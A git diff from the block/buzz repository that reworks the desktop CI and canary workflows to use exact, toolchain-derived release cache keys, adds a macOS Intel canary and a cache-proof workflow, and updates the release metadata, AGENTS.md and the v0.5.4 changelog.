diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 60507182d5..e65157705a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1023,7 +1023,7 @@ jobs: git log -1 --format=%s | grep -qx smoke echo "Host bash resolved and functional; git commit round-trip passed" - name: Check (Tauri crate) - run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --target $env:TARGET + run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --workspace --all-targets --target $env:TARGET env: CMAKE_POLICY_VERSION_MINIMUM: "3.5" - name: Test (Tauri crate) diff --git a/.github/workflows/desktop-release-cache-proof.yml b/.github/workflows/desktop-release-cache-proof.yml new file mode 100644 index 0000000000..cf9c8e7827 --- /dev/null +++ b/.github/workflows/desktop-release-cache-proof.yml @@ -0,0 +1,164 @@ +name: Desktop release cache tag-scope proof + +# Dispatch from a cache-proof-* tag at the same trusted-main SHA warmed by all +# four canaries. Every job restores only and requires an exact cache hit. +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + macos: + name: Prove macOS ${{ matrix.target }} cache visibility + if: github.repository == 'block/buzz' + runs-on: macos-latest + timeout-minutes: 15 + strategy: + fail-fast: false + matrix: + include: + - target: aarch64-apple-darwin + features: mesh-llm + - target: x86_64-apple-darwin + features: default + steps: + - name: Require cache proof tag + run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }' + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + - name: Patch proof dependency graph + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + env: + CACHE_TARGET: ${{ matrix.target }} + CACHE_FEATURES: ${{ matrix.features }} + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target "$CACHE_TARGET" --features "$CACHE_FEATURES" --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' + + linux: + name: Prove Linux cache visibility + if: github.repository == 'block/buzz' + runs-on: ubuntu-latest + container: ubuntu:24.04@sha256:4fbb8e6a8395de5a7550b33509421a2bafbc0aab6c06ba2cef9ebffbc7092d90 + timeout-minutes: 15 + defaults: + run: + shell: bash + steps: + - name: Require cache proof tag and install release native tools + run: | + [[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; } + apt-get update + apt-get install -y --no-install-recommends build-essential ca-certificates curl git libasound2-dev libayatana-appindicator3-dev libgtk-3-dev librsvg2-dev libssl-dev libwebkit2gtk-4.1-dev libxdo-dev patchelf pkg-config + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - run: git config --global --add safe.directory "$GITHUB_WORKSPACE" + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + - name: Patch proof dependency graph + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-unknown-linux-gnu --features mesh-llm --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' + + windows: + name: Prove Windows cache visibility + if: github.repository == 'block/buzz' + runs-on: windows-latest + timeout-minutes: 15 + steps: + - name: Require cache proof tag + shell: bash + run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }' + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - name: Patch proof dependency graph + shell: bash + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + shell: bash + run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + shell: bash + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-pc-windows-msvc --features default --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + shell: bash + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' diff --git a/.github/workflows/linux-canary.yml b/.github/workflows/linux-canary.yml index 1664878770..d8b10032b2 100644 --- a/.github/workflows/linux-canary.yml +++ b/.github/workflows/linux-canary.yml @@ -7,8 +7,8 @@ name: Linux Canary # Design notes vs. signed-macos-canary.yml: # - fix-appimage.sh is run without signing env vars; the script detects # their absence and skips re-signing, repacking only (documented inline). -# - mold linker added (rui314/setup-mold) to reduce link time, matching -# the Linux Rust CI jobs in ci.yml. +# - Build tools match release.yml; cache keys derive the concrete linker and +# native library identity rather than assuming the moving runner image. # - pnpm store restore/save pattern mirrors ci.yml:149-196. on: workflow_dispatch: @@ -83,18 +83,6 @@ jobs: - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - - uses: rui314/setup-mold@9c9c13bf4c3f1adef0cc596abc155580bcb04444 # v1 - - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to linux-canary-release so canary runs - # warm each other without colliding with CI's debug-profile keys. - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: linux-canary-release - - name: Install appimagetool run: | case "$(uname -m)" in @@ -154,6 +142,38 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target x86_64-unknown-linux-gnu \ + --features mesh-llm \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config run: | cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' @@ -170,7 +190,7 @@ jobs: ./scripts/bundle-sidecars.sh - name: Build Linux Tauri app - run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --config src-tauri/tauri.canary.conf.json + run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.canary.conf.json env: CMAKE_POLICY_VERSION_MINIMUM: "3.5" @@ -190,6 +210,24 @@ jobs: fi bash desktop/scripts/fix-appimage.sh "${APPIMAGES[0]}" + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.github/workflows/macos-intel-canary.yml b/.github/workflows/macos-intel-canary.yml new file mode 100644 index 0000000000..35b05313c9 --- /dev/null +++ b/.github/workflows/macos-intel-canary.yml @@ -0,0 +1,126 @@ +name: macOS Intel Canary + +# Produces an unsigned Intel DMG from trusted main. Its release-equivalent +# Cargo state warms the distinct x86_64 release target without signing or +# publishing anything. +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + build: + name: Build macOS Intel canary + if: github.repository == 'block/buzz' + runs-on: macos-latest + timeout-minutes: 60 + env: + TARGET: x86_64-apple-darwin + steps: + - name: Require main + env: + SOURCE_REF: ${{ github.ref }} + run: | + if [[ "$SOURCE_REF" != "refs/heads/main" ]]; then + echo "::error::Canary builds must run from main; got $SOURCE_REF" + exit 1 + fi + + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + + - name: Add Rust target + run: rustup target add "$TARGET" + + - name: Install desktop dependencies + run: just desktop-install-ci + + - name: Derive and patch canary version + run: | + BASE_VERSION=$(node -p "require('./desktop/package.json').version") + VERSION="${BASE_VERSION%%-*}-intel-test.${GITHUB_RUN_NUMBER}" + cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" + cd src-tauri && cargo update --workspace + + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target "$TARGET" \ + --features default \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + + - name: Generate non-updating bundle config + run: | + cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' + {"bundle":{"createUpdaterArtifacts":false,"macOS":{"minimumSystemVersion":"10.15"}}} + JSON + + - name: Build Intel sidecars + run: | + cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + ./scripts/bundle-sidecars.sh "$TARGET" + + - name: Build unsigned Intel DMG + run: cd desktop && pnpm tauri build --verbose --no-sign --target "$TARGET" --bundles dmg --config src-tauri/tauri.canary.conf.json + env: + CMAKE_POLICY_VERSION_MINIMUM: "3.5" + MACOSX_DEPLOYMENT_TARGET: "10.15" + CMAKE_OSX_DEPLOYMENT_TARGET: "10.15" + TAURI_BUNDLER_DMG_IGNORE_CI: "true" + + - name: Locate fresh Intel DMG + id: artifact + run: | + DMG=$(find "desktop/src-tauri/target/${TARGET}/release/bundle/dmg" -name '*.dmg' -type f | head -1) + [[ -n "$DMG" ]] || { echo "::error::No Intel DMG found"; exit 1; } + echo "dmg=$DMG" >> "$GITHUB_OUTPUT" + + - name: Upload Intel canary + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: buzz-macos-intel-canary-${{ github.sha }} + path: ${{ steps.artifact.outputs.dmg }} + if-no-files-found: error + retention-days: 7 + + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 02011ad386..9da067b74e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -573,7 +573,7 @@ jobs: BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json - name: Build Linux Tauri app - run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --config src-tauri/tauri.release.conf.json + run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.release.conf.json env: BUZZ_UPDATER_PUBLIC_KEY: ${{ secrets.BUZZ_UPDATER_PUBLIC_KEY || secrets.SPROUT_UPDATER_PUBLIC_KEY }} BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json diff --git a/.github/workflows/signed-macos-canary.yml b/.github/workflows/signed-macos-canary.yml index 0a3a513eef..5957f4785d 100644 --- a/.github/workflows/signed-macos-canary.yml +++ b/.github/workflows/signed-macos-canary.yml @@ -34,16 +34,6 @@ jobs: - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to macos-canary-release so canary runs - # warm each other without colliding with CI's debug-profile keys. - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: macos-canary-release - - name: Get pnpm store directory id: pnpm-cache run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_OUTPUT" @@ -78,6 +68,38 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target aarch64-apple-darwin \ + --features mesh-llm \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config run: | cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' @@ -210,6 +232,24 @@ jobs: if-no-files-found: error retention-days: 7 + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers or signed artifacts from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.github/workflows/windows-canary.yml b/.github/workflows/windows-canary.yml index 29f74fa0f6..7093efd2dc 100644 --- a/.github/workflows/windows-canary.yml +++ b/.github/workflows/windows-canary.yml @@ -46,24 +46,9 @@ jobs: shell: bash run: rustup target add "$TARGET" - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to windows-canary-release so canary - # runs warm each other without colliding with CI's debug-profile key - # (CI windows job does clippy/check, not --release). - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: windows-canary-release - - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 24.14.1 - # Disable setup-node's built-in cache: we manage the pnpm store cache - # explicitly below (restore before install, save after) to mirror the - # pattern used by ci.yml and to keep caching logic consistent across - # all three canary workflows. package-manager-cache: false - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 @@ -108,6 +93,40 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + shell: bash + run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + shell: bash + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target x86_64-pc-windows-msvc \ + --features default \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config shell: bash run: | @@ -152,6 +171,25 @@ jobs: if-no-files-found: error retention-days: 7 + - name: Measure release Cargo cache inputs + if: always() + shell: bash + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.release/desktop-candidate.json b/.release/desktop-candidate.json index 1bf2efb66b..1ba64765ff 100644 --- a/.release/desktop-candidate.json +++ b/.release/desktop-candidate.json @@ -1,8 +1,8 @@ { "schema": 1, - "version": "0.5.3", - "base_sha": "54c8ef30a9bb9c59a4415a8a7ee84c7c5454b48a", - "previous_tag": "v0.5.2", - "tag": "desktop-v0.5.3", - "commit_count": 58 + "version": "0.5.4", + "base_sha": "6de85fe31d781122756aecf954bae7d357a56b9a", + "previous_tag": "desktop-v0.5.3", + "tag": "desktop-v0.5.4", + "commit_count": 40 } diff --git a/AGENTS.md b/AGENTS.md index 2c8b38d7e0..d7741f250c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -72,14 +72,14 @@ Buzz spans five repos. This one (`block/buzz`) is the OSS source for the relay, | Repo | Purpose | |------|---------| | [block/buzz](https://github.com/block/buzz) | OSS source — relay, desktop app, mobile app, CLI, agent harness | -| [squareup/sprout-releases](https://github.com/squareup/sprout-releases) | Buildkite pipeline producing Block-signed macOS + iOS builds with `-block` version suffix | +| [squareup/buzz-releases](https://github.com/squareup/buzz-releases) | Buildkite pipelines producing Block-signed macOS + iOS builds with `-block` desktop version suffix | | [squareup/sprout-oss](https://github.com/squareup/sprout-oss) | CI pipeline building the relay Docker image and pushing to internal ECR | | [squareup/block-coder-tf-stacks](https://github.com/squareup/block-coder-tf-stacks) | Terraform + ArgoCD deploying the relay to the staging Kubernetes cluster | | [squareup/sprout-backend-blox](https://github.com/squareup/sprout-backend-blox) | Desktop backend provider script connecting Blox workstation agents to the relay | ``` block/buzz (source) - ├─► sprout-releases (desktop + mobile builds → Artifactory, GitHub, Mobile Releases) + ├─► buzz-releases (desktop + mobile builds → Artifactory, GitHub, Mobile Releases) ├─► sprout-oss (relay Docker image → ECR) │ └─► block-coder-tf-stacks (Helm chart → ArgoCD → staging cluster) └─── sprout-backend-blox (Blox compute provider for Desktop agent launch) diff --git a/CHANGELOG.md b/CHANGELOG.md index 71a4bbd449..e30941a355 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,55 @@ # Changelog +## v0.5.4 + +### Desktop and shared changes + +- fix: report agent usage per provider round, not once per turn ([#4545](https://github.com/block/buzz/pull/4545)) ([`09c86c56e52651c017743268fc8ce708bb83b265`](https://github.com/block/buzz/commit/09c86c56e52651c017743268fc8ce708bb83b265)) +- fix(desktop): harden Windows installs against Defender block and orphaned Node ([#4382](https://github.com/block/buzz/pull/4382)) ([`80315ac1a68024c40b61f3a062c9cb6bf7d4efb5`](https://github.com/block/buzz/commit/80315ac1a68024c40b61f3a062c9cb6bf7d4efb5)) +- feat(desktop): improve channel template discovery ([#4549](https://github.com/block/buzz/pull/4549)) ([`c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd`](https://github.com/block/buzz/commit/c1b88af8d71d1cf6aaca517e92ce9e918cd0e8bd)) +- fix(desktop): save key backups to authorized path ([#4022](https://github.com/block/buzz/pull/4022)) ([`01c80aa9b3eaa569361966877994438ad84a280a`](https://github.com/block/buzz/commit/01c80aa9b3eaa569361966877994438ad84a280a)) +- Add channel activity hover menu ([#3935](https://github.com/block/buzz/pull/3935)) ([`b0c6d6f744e63ac88a1738f0e995680c163e1d13`](https://github.com/block/buzz/commit/b0c6d6f744e63ac88a1738f0e995680c163e1d13)) +- feat(desktop): show saved Run on settings when editing an agent ([#4539](https://github.com/block/buzz/pull/4539)) ([`f865c0054b0a400657126c9321b4d4cb7d9cc746`](https://github.com/block/buzz/commit/f865c0054b0a400657126c9321b4d4cb7d9cc746)) +- fix(desktop): disambiguate provider API key labels and annotate mint key ([#4406](https://github.com/block/buzz/pull/4406)) ([`5e0efb0bb95182f588390b55cc5affa09114c87e`](https://github.com/block/buzz/commit/5e0efb0bb95182f588390b55cc5affa09114c87e)) +- fix(desktop): make OpenAI key re-enterable after first save in card mint dialog ([#4140](https://github.com/block/buzz/pull/4140)) ([`f810a2f49e213d25119f2aa75b5b577655119b74`](https://github.com/block/buzz/commit/f810a2f49e213d25119f2aa75b5b577655119b74)) +- fix(config-bridge): add harness-definition env tier and fix equal-value model override ([#3580](https://github.com/block/buzz/pull/3580)) ([`be95a8a986d02319b27e8fb57aefe59e33a1eb13`](https://github.com/block/buzz/commit/be95a8a986d02319b27e8fb57aefe59e33a1eb13)) +- fix(desktop): stop the create-agent provider config probe from erasing keystrokes ([#4411](https://github.com/block/buzz/pull/4411)) ([`2c0ac2467437b30953a95e00f419143488bcfcc7`](https://github.com/block/buzz/commit/2c0ac2467437b30953a95e00f419143488bcfcc7)) +- feat(acp): deliver system prompt via _meta.systemPrompt for claude-agent-acp ([#4395](https://github.com/block/buzz/pull/4395)) ([`7ff5fc31895efe6265a379d01637c8ee301872e5`](https://github.com/block/buzz/commit/7ff5fc31895efe6265a379d01637c8ee301872e5)) +- fix(security): bump nostr crates for RUSTSEC-2026-0225..0232 + default sprig image to published digest ([#4392](https://github.com/block/buzz/pull/4392)) ([`318fbf896ec335bc7bcb40edafde0b6ebca53428`](https://github.com/block/buzz/commit/318fbf896ec335bc7bcb40edafde0b6ebca53428)) +- fix(desktop): back/forward via keyboard chords, mouse X1/X2 buttons, and swipe gestures ([#3778](https://github.com/block/buzz/pull/3778)) ([`f86cfc7369d4471f8939ed98be6f597b0a4b0bb2`](https://github.com/block/buzz/commit/f86cfc7369d4471f8939ed98be6f597b0a4b0bb2)) +- feat(k8s): Kubernetes backend plugin + desktop deploy path ([#4289](https://github.com/block/buzz/pull/4289)) ([`6530b58a61d4602d0a371100fedf80c5998b1e34`](https://github.com/block/buzz/commit/6530b58a61d4602d0a371100fedf80c5998b1e34)) +- feat(projects): add buzz projects CLI commands (NIP-MP kind:30621) ([#4020](https://github.com/block/buzz/pull/4020)) ([`b7bb15122e8a2053b545dc2210afc167f6c7a626`](https://github.com/block/buzz/commit/b7bb15122e8a2053b545dc2210afc167f6c7a626)) +- fix(desktop): keep thread-open affordance in archived channels ([#4012](https://github.com/block/buzz/pull/4012)) ([`8e81afa431deecd172f1ad6aab6f022f31cd812c`](https://github.com/block/buzz/commit/8e81afa431deecd172f1ad6aab6f022f31cd812c)) +- fix(desktop): point Oh My Pi preset at omp.sh ([#3516](https://github.com/block/buzz/pull/3516)) ([`3ade48d5030a8f7dbb9d3693f171e5544dcd8df1`](https://github.com/block/buzz/commit/3ade48d5030a8f7dbb9d3693f171e5544dcd8df1)) +- fix(mesh): stop restarting a busy or loading shared-compute node ([#3909](https://github.com/block/buzz/pull/3909)) ([`fa1a5b1a797870724f5c7e7e26931861a60f22cb`](https://github.com/block/buzz/commit/fa1a5b1a797870724f5c7e7e26931861a60f22cb)) +- fix(desktop): preserve first huddle speech ([#3962](https://github.com/block/buzz/pull/3962)) ([`45314fc504113aec7c54ae6520cfe5e1562aae40`](https://github.com/block/buzz/commit/45314fc504113aec7c54ae6520cfe5e1562aae40)) +- feat(desktop): Agent Trading Cards — mintable agent-snapshot card PNGs with optional NIP-44 lock ([#3278](https://github.com/block/buzz/pull/3278)) ([`eb049ddf815d48195e1713afe039d28c950d7933`](https://github.com/block/buzz/commit/eb049ddf815d48195e1713afe039d28c950d7933)) +- feat(relay): accept kind:30621 multi-repo projects at ingest ([#3171](https://github.com/block/buzz/pull/3171)) ([`cb9701cd30fb344bf134585634a09007f3155bfb`](https://github.com/block/buzz/commit/cb9701cd30fb344bf134585634a09007f3155bfb)) + +### Other repository changes + +- test(mobile): assert follow boundary semantics ([#4559](https://github.com/block/buzz/pull/4559)) ([`6de85fe31d781122756aecf954bae7d357a56b9a`](https://github.com/block/buzz/commit/6de85fe31d781122756aecf954bae7d357a56b9a)) +- docs(release): align desktop handoff instructions ([#3988](https://github.com/block/buzz/pull/3988)) ([`44fa1e8e3af30d561de981a211ff7a79bfa36493`](https://github.com/block/buzz/commit/44fa1e8e3af30d561de981a211ff7a79bfa36493)) +- Polish mobile composer and messaging UI ([#3918](https://github.com/block/buzz/pull/3918)) 